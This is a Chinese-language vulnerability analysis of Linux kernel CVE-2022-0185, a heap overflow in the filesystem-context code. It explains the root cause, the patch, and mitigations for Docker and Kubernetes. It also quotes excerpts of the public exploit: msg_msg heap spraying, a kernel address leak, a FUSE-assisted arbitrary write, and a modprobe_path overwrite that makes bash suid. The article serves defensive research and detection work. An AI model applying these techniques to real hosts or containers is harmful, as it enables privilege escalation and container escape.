Linux内核漏洞——CVE-2022-0185分析与思考

admin 2022年3月5日05:01:33评论187 views字数 9475阅读31分35秒阅读模式
简介

CVE-2022-0185是一个Linux内核中"Filesystem Context"中的一个堆溢出漏洞,攻击者可以利用该漏洞发起DDoS攻击,实现容器逃逸和提升至主机权限。该漏洞是在Google KCTF(基于Kubernetes的CTF)漏洞赏金计划中被Crusaders of Rust[1]团队的成员Jamie Hill-Daniel和William Liu发现[2]的,研究员因此获得了31337美元的奖励。NVD官网[3]最新数据显示,该漏洞CVSS3.x的评分为8.4。

 

据William所言,存在问题的代码于2019年3月在5.1-rc1版本中被引入Linux内核,直至2022年1月18日(5.16.2版本),官方才发布补丁修复该漏洞。然而要想成功利用CVE-2022-0185却并不容易,William在博客中用大量篇幅来讲述漏洞发现的过程和整个利用链的过程,感兴趣的读者可以阅读博客[4]。本文的目的之一是希望读者能够理解该漏洞的原理,作为云安全从业者,能够做好针对性的检测和防御工作。下面笔者将给出理解该漏洞所需的背景知识,然后对该漏洞进行分析,并给出相关缓解和修复方案,最后思考该漏洞的防御工作。

免责声明:本文中提到的漏洞利用代码和分析皆已在github仓库[5]和研究员博客中公开,仅供研究交流使用,请遵守《网络安全法》等相关法律法规,切勿将其用于未授权渗透测试。

背景知识

1Filesystem Context

Filesystem Context是在创建Superblock的挂载和重新配置时使用的[6]。Superblock记录了一个文件系统的特征,包括它的大小、区块大小、空的和已填充的区块及其各自的计数、inode表的大小和位置、磁盘区块图和使用信息,以及区块组的大小。

2Capabilities —— CAP_SYS_ADMIN

Capabilities机制是在Linux内核2.2版本之后引入的,它的出现是为了对root权限进行更细粒度的控制,实现按需授权。常见的capability所允许的操作或行为如下表所示[7]:

capability 名称

描述

CAP_CHOWN

改变文件的所属者(chown())

CAP_KILL

向进程发送信号(kill(), signal())

CAP_SETUID

改变进程的uid(setuid(), setreuid(), setresuid()等)

CAP_SYS_PTRACE

trace进程(ptrace())

CAP_SYS_ADMIN

提供系统管理员级别的操作

本文需要关注的是CAP_SYS_ADMIN,它提供众多命令的权限,如mount(2),umount(2),clone(2) 和 unshare(2)等。

3Seccomp —— Docker与Kubernetes的区别

Seccomp 全称Secure computing mode,意为安全计算模式,自 2.6.12 版本以来一直是 Linux 内核的功能。它可以用来对进程的特权进行沙盒处理,从而限制了它可以从用户空间向内核进行的调用。只有当Docker在构建时使用了Seccomp,并且内核在配置时启用了CONFIG_SECCOMP,这个功能才可用。可以用以下命令来检查当前环境是否支持Seccomp:

grep CONFIG_SECCOMP= /boot/config-$(uname -r)

当使用Docker运行一个容器时,它会使用默认的配置文件[8],除非使用--security-opt参数来指定自定义配置文件。该配置文件是一个允许列表,它默认拒绝访问系统调用,只有列表中的系统调用可以执行,一些重要的系统调用如clone,ptrace,unshare等都默认禁止在Docker中执行,如图1所示:

Linux内核漏洞——CVE-2022-0185分析与思考

图1 Docker容器中默认禁用unshare

被禁用的原因在官方文档[9]有所说明,感兴趣的可以阅读了解。

但在早先版本(1.22版本之前)的Kubernetes集群中使用Docker时,Seccomp机制却是默认禁用的。在Kubernetes集群中创建一个普通的Pod资源,检查Seccomp机制的状态和Pod内部系统调用的执行情况,如图2所示:

Linux内核漏洞——CVE-2022-0185分析与思考

图2 Kubernetes集群中Pod内部默认不禁用unshare

可以看到Seccomp的状态值为0,代表禁用状态。

自1.22版本开始,Kubernetes引入了SeccompDefault特性,用来增强集群环境内的安全性。当该特性启用时,kubelet将默认使用由容器运行时定义的RuntimeDefault Seccomp配置文件,限制集群环境内的系统调用。

漏洞分析

1漏洞成因

该漏洞发生Filesystem Context处理legacy参数时,由fs/fs_context.c的legacy_parse_param函数中存在的整数下溢引起,问题源码如下:

if (len > PAGE_SIZE -2 - size)            return invalf(fc, "VFS: Legacy: Cumulative optionstoo large");if (strchr(param->key,',') ||    (param->type == fs_value_is_string&&     memchr(param->string, ',',param->size)))            return invalf(fc, "VFS: Legacy: Option '%s'contained comma",                             param->key);if (!ctx->legacy_data){            ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);            if (!ctx->legacy_data)                        return -ENOMEM;}

在第551行(源代码中所在行数,下同)存在一个边界检查,如果(len>PAGE_SIZE- 2 - size),将返回一个错误;但当size大小为4095或更大时,因为PAGE_SIZE是4Kb ,无符号减法PAGE_SIZE - 2 - size的计算结果将是一个巨大的正值,该正值大于len,所以检查将不会触发,然后就会有一个越界写入(在第566行):

ctx->legacy_data[size++] = ',';len = strlen(param->key);memcpy(ctx->legacy_data+ size, param->key, len);size += len;if (param->type == fs_value_is_string) {            ctx->legacy_data[size++]= '=';}

因此通过向有漏洞的函数发送超过4095字节的数据,可以绕过输入长度检查,导致越界写入。这使得攻击者可以写到内存的其他部分,导致系统崩溃或运行任意代码从而实现容器逃逸或权限提升。

2漏洞利用条件

该漏洞在宿主机上用于提升权限时,暂未发现利用的前提条件,只需以非root用户执行代码即可。

若用于容器逃逸,因为容器环境的安全隔离机制,需要判断容器内的环境是否满足一定条件。公开的利用链中包括特权系统调用,如fsopen(),因此需要攻击者拥有CAP_SYS_ADMIN capability(在任何命名空间),但该capability往往在容器以特权启动时被授予,或者添加--cap-add=SYS_ADMIN参数授予,并不会广泛出现。然而,该capability可以通过unshare系统调用获得。unshare系统调用会将进程分配至新的namespace,如在容器内部使用unshare -U命令可以使用户进入一个新的user namespace,由于Linux capability继承的机制,新的namespace拥有全部的capabilities,也包括CAP_SYS_ADMIN。通过上文的背景知识可以了解到比较矛盾的是,在Docker容器中,因为Seccomp机制的限制,unshare系统调用会被禁止,所以此种方法在普通业务容器中并不适用。但当处于低版本(1.22版本之前)的Kubernetes集群环境中,在默认配置情况下,非特权用户可以在Pod内部顺利执行unshare系统调用。因此,CVE-2022-0185用来容器逃逸的场景主要限于低版本Kubernetes集群环境。

漏洞利用

漏洞发现团队在GitHub仓库公开了漏洞利用代码,其中fuse版本是针对5.11.0-44内核版本的本地权限提升代码。它不会直接返回一个rootshell,而是使/bin/bash添加suid权限,该脚本利用思路大致如下:

1. 使用堆溢出来调整msg_msg的size,调用msgrcv()读内存,触发越界读取(注:调用msgrcv()读取内核数据时,带上MSG_COPY标志避免unlink时崩溃),接着使用open(“/proc/self/stat”, O_RDONLY)的技巧喷射许多seq_operations结构,尝试读取该结构泄露的指针,由此获得内核基址,并计算出modprobe_path地址:

uint64_t do_leak (){    ......    // 喷射msg_msg对象    for (int i = 0; i< 8; i++)    {        memset(buffer,0x41+i, sizeof(buffer));        targets[i] =make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);       send_msg(targets[i], message, size - 0x30, 0);    }     memset(pat, 0x42,sizeof(pat));    pat[sizeof(pat)-1]= 'x00';            ......    strcpy(pat,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");    for (int i = 0; i< 117; i++)    {        fsconfig(fd,FSCONFIG_SET_STRING, "x00", pat, 0);    }       // 尝试用msg_msg对象引起越界读取    puts("[*]Overflowing...");    pat[21] = 'x00';    char evil[] ="x60x10";    fsconfig(fd,FSCONFIG_SET_STRING, "x00", pat, 0);     // 喷射更多msg_msg    for (int i = 8; i< 0x10; i++)    {        memset(buffer,0x41+i, sizeof(buffer));        targets[i] =make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);       send_msg(targets[i], message, size - 0x30, 0);    }     fsconfig(fd,FSCONFIG_SET_STRING, "x00", evil, 0);     puts("[*]Done heap overflow");    puts("[*]Spraying kmalloc-32");    for (int i = 0; i< 100; i++)    {       open("/proc/self/stat", O_RDONLY);    }     size = 0x1060;    puts("[*]Attempting to recieve corrupted size and leak data");     // 检查是否可以得到泄露的内核基址    for (int j = 0; j< 0x10; j++)    {       get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY |MSG_NOERROR);        kbase =do_check_leak(recieved);        if (kbase)        {            close(fd);            returnkbase;        }    }     puts("[X] Noleaks, trying again");    return 0;}

2. 然后利用作者提出的利用msg_msg对象进行任意地址读和写技术[11][12],该技术需要用到userfaultfd技术,但从内核5.11版本开始,非特权的userfaultfd默认是禁用的,所以作者在此引入了FUSE技术来替代,用任意地址写来实现用自定义的脚本覆盖modprobe_path:

void do_win(){    ......    puts("[*]Prepaing fault handlers via FUSE");    int evil_fd =open("evil/evil", O_RDWR);    if (evil_fd <0)    {       perror("evil fd failed");        exit(-1);    }    if ((mmap((void*)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd,0)) != (void *)0x1338000)    {       perror("mmap fail fuse 1");        exit(-1);    }     pthread_t thread;    int race =pthread_create(&thread, NULL, arb_write, NULL);    if(race != 0)    {       perror("can't setup threads for race");    }    send_msg(target,rooter, size - 0x30, 0);   pthread_join(thread, NULL);    munmap((void*)0x1337000, 0x1000);    munmap((void*)0x1338000, 0x1000);    close(evil_fd);    close(fd);}

3. 最后使用execve触发modprobe,利用modprobe_path覆写技术,成功赋予/bin/bash suid权限:

void modprobe_hax(){    puts("[*]Attempting to trigger modprobe");   execve(modprobe_trigger, NULL, NULL);    return;}

脚本成功利用后可使用bash -p获得root权限。

要想使利用代码适用不同的内核版本,还需调整代码中single_start和modprobe_path的偏移量。

kctf版本代码可实现在GKE环境中完成容器逃逸,但是并不是100%可以成功,利用代码主要依赖FUSE和SYSVIPC弹性对象来实现任意写入。该版本代码若要适用不同的集群环境,需要修改的内容较多,本文暂不赘述。

 

除了"Crusaders of Rust "团队的利用代码,还有另一位研究人员发表了漏洞利用代码和技术分析文章[13],同样详细讲述了漏洞的利用过程,感兴趣的读者可以阅读。

补丁分析

查看官方针对此漏洞的补丁[14],修复后的代码如下:

fs/fs_context.c@@ -548,7 +548,7 @@ static int legacy_parse_param(structfs_context *fc, struct fs_parameter *param)                                          param->key);            }             if (size +len + 2 > PAGE_SIZE)                        returninvalf(fc, "VFS: Legacy: Cumulative options too large");            if(strchr(param->key, ',') ||                (param->type == fs_value_is_string&&

修复方案较为简单,仅将之前的减法运算变更为加法,即条件判断改为size+ len + 2 > PAGE_SIZE,就可以解决这个问题。

漏洞修复与缓解

用户可以升级Linux kernel到5.16.2版本来修复该漏洞。但是该修复版本并不适用于所有Linux发行版,包括那些使用Linux kernel开发的系统。对于这些暂时没有可用补丁的系统,建议用户禁用非特权用户命名空间。

 

在Ubuntu系统中,可以使用以下命令来禁用非特权用户命名空间:

sysctl -w kernel.unprivileged_userns_clone=0

Red Hat 用户可以使用以下命令来禁用用户命名空间:

echo"user.max_user_namespaces=0" > /etc/sysctl.d/userns.confsysctl -p/etc/sysctl.d/userns.conf

对于在Amazon EKS,Azure AKS和Google GKE环境的用户,可以通过更新节点镜像的方式修复漏洞[15]。

防范措施

解漏洞的原理和利用条件之后,便可以从利用链的不同环节去防范此漏洞的利用。除了升级内核或更新补丁外,还可以用以下方法进行防范:

1. 在容器环境中启用Seccomp机制,确保unshare系统调用的禁用。

2. 对于低版本的Kubernetes环境,可以禁用非特权用户命名空间,具体参考上文中漏洞修复中步骤。

3. 对于1.22版以上的Kubernetes,可以在资源创建时使用SecurityContext添加默认的Seccomp或AppArmor配置文件,以保护任何Pod、Deployment、StatefulSet、Replicaset或Daemonset。使用运行时默认Seccomp配置限制Pod使用unshare系统调用,具体配置方法如下:

apiVersion:v1kind:Podmetadata: name:default-Pod labels:    app:default-Podspec: securityContext:    SeccompProfile:      type:RuntimeDefault           #将Pod的Seccomp类型设置为RuntimeDefault containers: - name:test    image: ubuntuimagePullPolicy: IfNotPresent"command: ["/bin/bash", "-c", "--" ]args: [ "while true; dosleep 30; done;" ]    securityContext:      allowPrivilegeEscalation:false

4. 谨慎部署privileged特权容器,谨慎给Pod添加CAP_SYS_ADMIN内核能力。CAP_SYS_ADMIN虽只是众多capabilities中的一种,但其代表的权限略高,据《CAP_SYS_ADMIN: the new root》[16]中介绍,许多开发者会在授权capability时不知道如何细分,最终选择CAP_SYS_ADMIN来满足环境。

总结与思考

Linux作为一款免费开源的操作系统,被越来越多的用户和企业使用。正因用户数量大,使用范围广,一旦其内核曝出相关漏洞,往往后果严重。观察近几年曝出的内核相关漏洞,大多数是问题代码存在已久,在和不同的技术融合时,才作为漏洞被研究者挖掘出来。CVE-2022-0185虽已公开利用代码,但因为其利用代码适用性的问题,预测用于“本地权限提升”的可能性要大于容器逃逸。即便如此,由于容器共享宿主机内核的缘故,集群环境中大多数宿主机为Linux系统,云原生环境安全问题仍不容小觑。

 

希望读者以此文章对该漏洞有更好的了解与认识,建立针对该漏洞的方法和检测机制,共同建设云环境安全。

参考文献

[1] https://cor.team/

[2] https://www.openwall.com/lists/oss-security/2022/01/18/7

[3] https://nvd.nist.gov/vuln/detail/CVE-2022-0185

[4] https://www.willsroot.io/2022/01/cve-2022-0185.html

[5] https://github.com/Crusaders-of-Rust/CVE-2022-0185

[6] https://www.kernel.org/doc/html/latest/filesystems/mount_api.html#the-filesystem-context

[7] https://man7.org/linux/man-pages/man7/capabilities.7.html

[8] https://github.com/moby/moby/blob/master/profiles/seccomp/default.json

[9] https://docs.docker.com/engine/security/seccomp/#significant-syscalls-blocked-by-the-default-profile

[10] https://www.openwall.com/lists/oss-security/2022/01/25/14

[11] https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html

[12] https://syst3mfailure.io/wall-of-perdition

[13] https://www.openwall.com/lists/oss-security/2022/01/25/14
[14] https://github.com/torvalds/linux/commit/722d94847de29310e8aa03fcbdb41fc92c521756
[15] https://jfrog.com/blog/the-impact-of-cve-2022-0185-linux-kernel-vulnerability-on-popular-kubernetes-engines/
[16] https://lwn.net/Articles/486306/


往期回顾

《逃逸风云再起:从CVE-2017-1002101到CVE-2021-25741》

《移花接木:看CVE-2020-8559如何逆袭获取集群权限》


关于星云实验室

星云实验室专注于云计算安全、解决方案研究与虚拟化网络安全问题研究。基于IaaS环境的安全防护,利用SDN/NFV等新技术和新理念,提出了软件定义安全的云安全防护体系。承担并完成多个国家、省、市以及行业重点单位创新研究课题,已成功孵化落地绿盟科技云安全解决方案。

内容编辑:星云实验室 李来冰   责任编辑:高深
本公众号原创文章仅代表作者观点,不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权,严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用,转载须注明来自绿盟科技研究通讯并附上本文链接。
关于我们

绿盟科技研究通讯由绿盟科技创新中心负责运营,绿盟科技创新中心是绿盟科技的前沿技术研究部门。包括云安全实验室、安全大数据分析实验室和物联网安全实验室。团队成员由来自清华、北大、哈工大、中科院、北邮等多所重点院校的博士和硕士组成。
绿盟科技创新中心作为“中关村科技园区海淀园博士后工作站分站”的重要培养单位之一,与清华大学进行博士后联合培养,科研成果已涵盖各类国家课题项目、国家专利、国家标准、高水平学术论文、出版专业书籍等。
我们持续探索信息安全领域的前沿学术方向,从实践出发,结合公司资源和先进技术,实现概念级的原型系统,进而交付产品线孵化产品并创造巨大的经济价值。
Linux内核漏洞——CVE-2022-0185分析与思考
长按上方二维码,即可关注我们

原文始发于微信公众号(绿盟科技研究通讯):Linux内核漏洞——CVE-2022-0185分析与思考

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月5日05:01:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux内核漏洞——CVE-2022-0185分析与思考http://cn-sec.com/archives/816547.html

发表评论

匿名网友 填写信息